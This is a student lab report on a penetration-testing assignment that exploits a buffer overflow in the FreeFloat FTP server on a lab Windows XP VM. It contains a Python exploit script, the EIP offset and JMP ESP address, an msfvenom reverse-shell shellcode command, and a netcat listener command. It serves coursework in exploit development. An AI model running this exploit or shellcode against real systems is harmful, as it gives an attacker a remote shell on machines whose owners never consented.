John Rader

PenTesting

Dr. Perry

May 5th, 2018

Project 6

For this project we were asked to implement the buffer overflow exploit on the FreeFloat STP server running on our Windows XP VM. As described in the project overview, it is very similar to the exercises completed in class. This time we are doing it on a different server application with different data. We have the initial python script that I will be altering throughout this process.

Here is the initial script:

#!/usr/bin/python2

import sys

import socket

hostname = sys.argv[1]

username = "A"\*512

passwd = "anything"

sock = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)

# First, connect, wrapping in exception-handling code.

try:

sock.connect((hostname, 21)) # The ftp port

except:

print ('[-] Connection error!')

sys.exit(1)

r = sock.recv(1024) # response

print "[+] " + r

# now, send username and password across the connection

sock.send("user %s\r\n" %username)

r = sock.recv(1024)

print "[+] " + r

sock.send("pass %s\r\n" %passwd)

r = sock.recv(1024)

print "[+] " + r

sock.close()

First to do is to ensure we have an FTP connection from the kali machine to the server running on the Windows VM. We do this by using the command:

*ftp 10.0.2.9* (the ip of the server on my machine).

Once connection is confirmed we will check to see if we can run the sample script. I named the sample script crash.py. This will test to see if the program is vulnerable. Instead of using the 1024 length of As we will use a length of 512. We do this by running the command:

*./crash.py 10.0.2.9*

On the bottom of the Immunity Debugger we see the error: “access violation when executing”. This means the instruction pointer was overwritten.

Now we will try to find the address for EIP register. We do this by using the genPattern function we creating in class. This is exactly the same process as described in our notes however this time we use a length of 512. When we run the script again, the EIP value at the crash is 41326941. Converted to acsii this is A2iA. We reverse this because it is in little-endian order, so the substring we want is Ai2A. Now we use this in our script to find the location of the EIP register. We do this by added:

Pat = genPattern(512)

print pat.find(‘Ai2A’)

The returned value in the terminal is 246.

This means whatever address we want to overwrite EIP with, we should start at location 246.

We want to find the JMP ESP address on the machine, we do this by:

1. Use the 'view' menu item in the debugger and view 'executable modules'. This shows all the external code libraries loaded into this program's address space.
2. Double-click on “shell32.dll”. Now use Ctrl+f to search for "JMP ESP." The first instance of this instruction on my machine is at 0x7CB41020.

So far we have:

***EIP location/offset = 246***

***JMP ESP = 0x7CB41020***

Now we need to generate the shell code buffer that we will insert into our shellcode. This is also very similar to what we did in class. Instead of using the bad characters '\x00\x0A\x40\x0d', we will use '\x00\x0A\x0d\x3d\x20\xff\x40'. The command we will use to generate the shellcode is :

***msfvenom -p windows/shell\_reverse\_tcp LHOST=10.0.2.15 –b '\x00\x0A\x0d\x3d\x20\xff\x40' -f python***

This will generate the shellcode that we will be inserting into the stack. Once it is generated we almost done with the exploit. We then need to add the shellcode to our python script. We also need to add 16 0x90 bytes before the code.

It will look a little something like this:

buf = \*long shell code\*

jmpesp = ‘\x20\x10\xb4\x7c’

nopsled = “\x90”\*16

hostname = sys.argv[1]

username = "A"\*246 + jmpesp + nopsled + buf + ‘C’\*(512 – 264 – 20 –len(buf))

passwd = "anything"

After all of this is done, the exploit will work successfully. Now all we have to do is start a listener with netcat. This is done by using the following command in another terminal tab in the kali VM: ***nc -vvv -l -p 4444.***

Using this exploit is simple:

1. Start the FTP server on the Windows VM
2. Start the listener in a terminal tab on the Kali VM
3. Run the python script in another terminal tab on the Kali VM
4. The listener will then transform into a working Windows command shell

**Final Thoughts**

This project was very straight forward as opposed to the previous project. There wasn’t much coding involved it was more following a step by step process to implement the attack. The attack was simple in design but very effective. In short, the attack identified the source was vulnerable to the buffer overflow exploit. We then located the offset of the return address so we can direct it to where we wanted. We then inserted the address of the JMP ESP instruction into that address so we would be able to run the shellcode we created. Once the script was ran, it pointed the return address to the JMP ESP instruction where it then was able to run the shellcode we created.